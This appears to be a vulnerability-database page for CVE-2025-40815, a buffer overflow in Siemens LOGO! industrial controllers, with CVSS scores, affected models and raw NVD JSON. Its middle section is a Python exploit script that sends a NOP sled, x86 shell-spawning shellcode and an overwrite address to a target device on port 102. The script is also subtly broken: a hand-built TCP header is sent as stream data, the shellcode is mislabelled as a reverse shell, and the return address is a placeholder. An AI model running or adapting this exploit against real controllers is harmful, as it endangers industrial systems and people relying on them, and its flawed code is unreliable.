Security Vulnerability Report
中文
CVE-2025-40815 CVSS 7.2 HIGH

CVE-2025-40815

Published: 2025-11-11 21:15:38
Last Modified: 2026-04-15 00:35:42

Description

A vulnerability has been identified in LOGO! 12/24RCE (6ED1052-1MD08-0BA2) (All versions), LOGO! 12/24RCEo (6ED1052-2MD08-0BA2) (All versions), LOGO! 230RCE (6ED1052-1FB08-0BA2) (All versions), LOGO! 230RCEo (6ED1052-2FB08-0BA2) (All versions), LOGO! 24CE (6ED1052-1CC08-0BA2) (All versions), LOGO! 24CEo (6ED1052-2CC08-0BA2) (All versions), LOGO! 24RCE (6ED1052-1HB08-0BA2) (All versions), LOGO! 24RCEo (6ED1052-2HB08-0BA2) (All versions), SIPLUS LOGO! 12/24RCE (6AG1052-1MD08-7BA2) (All versions), SIPLUS LOGO! 12/24RCEo (6AG1052-2MD08-7BA2) (All versions), SIPLUS LOGO! 230RCE (6AG1052-1FB08-7BA2) (All versions), SIPLUS LOGO! 230RCEo (6AG1052-2FB08-7BA2) (All versions), SIPLUS LOGO! 24CE (6AG1052-1CC08-7BA2) (All versions), SIPLUS LOGO! 24CEo (6AG1052-2CC08-7BA2) (All versions), SIPLUS LOGO! 24RCE (6AG1052-1HB08-7BA2) (All versions), SIPLUS LOGO! 24RCEo (6AG1052-2HB08-7BA2) (All versions). Affected devices do not properly validate the structure of TCP packets in several methods. This could allow an attacker to cause buffer overflows, get control over the instruction counter and run custom code.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

LOGO! 12/24RCE (6ED1052-1MD08-0BA2) - 所有版本
LOGO! 12/24RCEo (6ED1052-2MD08-0BA2) - 所有版本
LOGO! 230RCE (6ED1052-1FB08-0BA2) - 所有版本
LOGO! 230RCEo (6ED1052-2FB08-0BA2) - 所有版本
LOGO! 24CE (6ED1052-1CC08-0BA2) - 所有版本
LOGO! 24CEo (6ED1052-2CC08-0BA2) - 所有版本
LOGO! 24RCE (6ED1052-1HB08-0BA2) - 所有版本
LOGO! 24RCEo (6ED1052-2HB08-0BA2) - 所有版本
SIPLUS LOGO! 12/24RCE (6AG1052-1MD08-7BA2) - 所有版本
SIPLUS LOGO! 12/24RCEo (6AG1052-2MD08-7BA2) - 所有版本
SIPLUS LOGO! 230RCE (6AG1052-1FB08-7BA2) - 所有版本
SIPLUS LOGO! 230RCEo (6AG1052-2FB08-7BA2) - 所有版本
SIPLUS LOGO! 24CE (6AG1052-1CC08-7BA2) - 所有版本
SIPLUS LOGO! 24CEo (6AG1052-2CC08-7BA2) - 所有版本
SIPLUS LOGO! 24RCE (6AG1052-1HB08-7BA2) - 所有版本
SIPLUS LOGO! 24RCEo (6AG1052-2HB08-7BA2) - 所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-40815 PoC - Siemens LOGO! TCP Packet Validation Buffer Overflow Note: This PoC is for educational and authorized security testing purposes only. Author: Security Research Reference: https://cert-portal.siemens.com/productcert/html/ssa-267056.html """ import socket import struct import sys def create_malicious_tcp_packet(): """ Create a malicious TCP packet with oversized payload to trigger buffer overflow This targets the TCP packet parsing vulnerability in Siemens LOGO! devices """ # TCP Header fields src_port = 0x1234 dst_port = 102 # Typical LOGO! port seq_num = 0 ack_num = 0 data_offset = 5 # 5 words (20 bytes) flags = 0x02 # SYN flag window = 65535 checksum = 0 urgent_ptr = 0 # Construct TCP header tcp_header = struct.pack('!HHIIBBHHH', src_port, dst_port, seq_num, ack_num, (data_offset << 4), # Data offset in upper 4 bits flags, window, checksum, urgent_ptr ) # Malicious payload - oversized data to trigger buffer overflow # NOP sled for reliable exploitation nop_sled = b'\x90' * 100 # Shellcode placeholder - typical x86 reverse shell # This would be customized based on target architecture shellcode = ( b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' ) # Padding to reach overflow size padding = b'\x41' * (500 - len(nop_sled) - len(shellcode)) # EIP overwrite address (would need to be determined for specific version) eip_overwrite = struct.pack('<I', 0x42424242) payload = nop_sled + shellcode + padding + eip_overwrite return tcp_header + payload def exploit_logo_device(target_ip, target_port=102): """ Send malicious TCP packet to target Siemens LOGO! device """ print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Creating malicious TCP packet for CVE-2025-40815...") packet = create_malicious_tcp_packet() try: print(f"[*] Sending malicious packet ({len(packet)} bytes)...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) # Send raw packet sock.sendto(packet, (target_ip, target_port)) print(f"[+] Packet sent successfully") print(f"[!] Note: Actual exploitation requires specific version targeting") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.1.100 102") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 102 print("=" * 60) print("CVE-2025-40815 - Siemens LOGO! Buffer Overflow PoC") print("=" * 60) exploit_logo_device(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-40815", "sourceIdentifier": "[email protected]", "published": "2025-11-11T21:15:38.057", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in LOGO! 12/24RCE (6ED1052-1MD08-0BA2) (All versions), LOGO! 12/24RCEo (6ED1052-2MD08-0BA2) (All versions), LOGO! 230RCE (6ED1052-1FB08-0BA2) (All versions), LOGO! 230RCEo (6ED1052-2FB08-0BA2) (All versions), LOGO! 24CE (6ED1052-1CC08-0BA2) (All versions), LOGO! 24CEo (6ED1052-2CC08-0BA2) (All versions), LOGO! 24RCE (6ED1052-1HB08-0BA2) (All versions), LOGO! 24RCEo (6ED1052-2HB08-0BA2) (All versions), SIPLUS LOGO! 12/24RCE (6AG1052-1MD08-7BA2) (All versions), SIPLUS LOGO! 12/24RCEo (6AG1052-2MD08-7BA2) (All versions), SIPLUS LOGO! 230RCE (6AG1052-1FB08-7BA2) (All versions), SIPLUS LOGO! 230RCEo (6AG1052-2FB08-7BA2) (All versions), SIPLUS LOGO! 24CE (6AG1052-1CC08-7BA2) (All versions), SIPLUS LOGO! 24CEo (6AG1052-2CC08-7BA2) (All versions), SIPLUS LOGO! 24RCE (6AG1052-1HB08-7BA2) (All versions), SIPLUS LOGO! 24RCEo (6AG1052-2HB08-7BA2) (All versions). Affected devices do not properly validate the structure of TCP packets in several methods. This could allow an attacker to cause buffer overflows, get control over the instruction counter and run custom code."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-267056.html", "source": "[email protected]"}]}}